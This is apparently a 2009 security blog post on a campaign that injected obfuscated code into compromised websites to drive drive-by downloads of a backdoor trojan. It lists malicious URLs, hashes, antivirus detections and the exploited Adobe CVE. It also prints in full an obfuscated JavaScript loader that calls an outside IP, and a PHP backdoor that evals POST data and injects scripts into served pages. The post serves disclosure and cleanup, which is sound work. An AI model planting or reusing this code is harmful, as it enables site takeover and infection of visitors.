Black Hat SEO and Rogue Antivirus p.5

The silent threat: Black Hat SEO planting trojans Full of hacks READ THIS page if you need more information Follow this page for desinfection: Malware Manipulating Google SERPs (from blog.scansafe.com) After promoting some spyware and other rogue security software, now this is another list of compromised websites all with obfuscated javascript code inserted which result in: hxxp://94.247.2.195/news/?id=100 (Analysis) which call hxxp://94.247.2.195/news/?id=2 and download a PDF with a random name QRB.pdf, WXk.pdf ... File size: 10417 bytes MD5: af28f3bc9424a3da7ff8bc84740bce93 VirusTotal Analysis: 0/40 (0%) when running it load hxxp://94.247.2.195/news/?id=10& With an Adobe Collab overflow (CVE-2007-5659) Wepawet Analysis which lead to an executable beeing downloaded and executed. Also with a random name PO.exe, 8lv.exe ... File Size: 15360 Bytes MD5: 791509d03706cbc8883536b5131341d4 Anubis Report VirusTotal Analysis: 10/40 (25%) a-squared - Trojan-Spy.Agent!IK Avast - Win32.Daonol-L eSafe - Suspicious File GData - Win32:KillAV-KS Irakus - Trojan-Spy.Agent Kaspersky - Backdoor.Win32.Agent.afhg McAfee+Artemis - Generic!Artemis Prevx1 - High Risk Cloaked Malware Sophos - Mal/Generic-A TrendMicro - PAK_Generic.001 First received on 04.03.2009 18:36:21 (CET) Ikarus: Trojan-Spy.Agent (Sig-Id:975847) ThreatExpert Report Prevx Source: dreamhost.com discussion dynamicdrive.com forum windowsbbs.com forum spywarewarrior.com forum who-is-who-in-gpt.com tcheval.net forum (FR) Also interesting on this IP is this script: If you have this code in your site, you are probably on of these victims. Change all your passwords, including FTP, emails etc. On all your accounts. 94.247.2.195/jquery.js or 78.110.175.249/jquery.js (not responding) in Russia descr: LIMIT SUREHOST - AAS188-RIPE - @ukservers.com person: Alexander A Solovyov - @limt.ru LIMT Group Ltd. has zero web presence, apart from SPAM, hacking and other problems. They are clearly a bogus company. Clear evidence of criminal fraud. "Same for LIMIT SUREHOST" route: 78.110.160.0/20 - UK Dedicated Servers Limited - AS42831 - UKSERVERS-MNT Javascript code: <script language=javascript> document.write(unescape(' %3CGXscrLrGXirLpt%20VhsrcrL%3DSn%2FHY8%2F78HY8%2EGX1GX1Cl60%2ECl6 1Cl67Cl65Cl6%2E24Vh9zAn%2FCl6jquVheHY8rrLyCl6%2EjSns%3EGX%3C%2FGXsz AnczAnrHY8iprLtzAn%3E '). replace(/Cl6|HY8|zAn|Sn|rL|Vh|GX/g,"")); </script> Script found on compromised websites all for the benefit of the infamous Russian Business Network (RBN). PHP code injected <?php if (!function_exists('tmp_lkojfghx')) { for ($i = 1; $i < 10; $i++) if (is_file($f = '/tmp/m' . $i)) { include_once($f); break; } if (isset($_POST['tmp_lkojfghx3'])) eval($_POST['tmp_lkojfghx3']); if (!defined('TMP_XHGFJOKL')) define('TMP_XHGFJOKL', base64_decode('PHNjcmlwdCBsYW5 ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaX RlKHVuZXNjYXBlKCdyYzYlM0Nla2JzMndjcmlJaXAyd3QlMjBzMFM wcmMlM0QlMkYlMkY3SFh6OCUyRTBTMDEydzEwSFh6JTJFcm M2MXJON0hYejVEdSUyRXJOMjRla2I5JTJGMndqcmM2cUlpdW VyZWtieWVrYiUyRXJjNmpyYzZzJTNFMFMwJTNDMnclMkZzYzB TMHJIWHppcGVrYnQlM0UnKS5yZXBsYWNlKC9yYzZ8MFMwfE lpfER1fGVrYnxyTnwyd3xIWHovZywiIikpOwogLS0+PC9zY3Jp cHQ+')); function tmp_lkojfghx($s) { if ($g = (bin2hex(substr($s, 0, 2)) == '1f8b')) $s = gzinflate(substr($s, 10, -8)); if (preg_match_all('#<script(.*?)</script>#is', $s, $a)) foreach ($a[0] as $v) if (count(explode("\n", $v)) > 5) { $e = preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v) || preg_match('#[\(\[](\s*\d+,){20,}#', $v); if ((preg_match('#\beval\b#', $v) && ($e || strpos($v, 'fromCharCode'))) || ($e && strpos($v, 'document.write'))) $s = str_replace($v, '', $s); } $s1 = preg_replace('#<script language=javascript> <!-- \ndocument\.write\(unescape\(".+?\n --></script>#', '', $s); if (stristr($s, '<body')) $s = preg_replace('#(\s*<body)#mi', TMP_XHGFJOKL . '\1', $s1); elseif (($s1 != $s) || stristr($s, '</body') || stristr($s, '</title>')) $s = $s1 . TMP_XHGFJOKL; return $g ? gzencode($s) : $s; } function tmp_lkojfghx2($a = 0, $b = 0, $c = 0, $d = 0) { $s = array(); if ($b && $GLOBALS['tmp_xhgfjokl']) call_user_func($GLOBALS['tmp_xhgfjokl'], $a, $b, $c, $d); foreach (@ob_get_status(1) as $v) if (($a = $v['name']) == 'tmp_lkojfghx') return; else $s[] = array($a == 'default output handler' ? false : $a); for ($i = count($s) - 1; $i >= 0; $i--) { $s[$i][1] = ob_get_contents(); ob_end_clean(); } ob_start('tmp_lkojfghx'); for ($i = 0; $i < count($s); $i++) { ob_start($s[$i][0]); echo $s[$i][1]; } } } if (($a = @set_error_handler('tmp_lkojfghx2')) != 'tmp_lkojfghx2') $GLOBALS['tmp_xhgfjokl'] = $a; tmp_lkojfghx2(); ?> with colors: Google search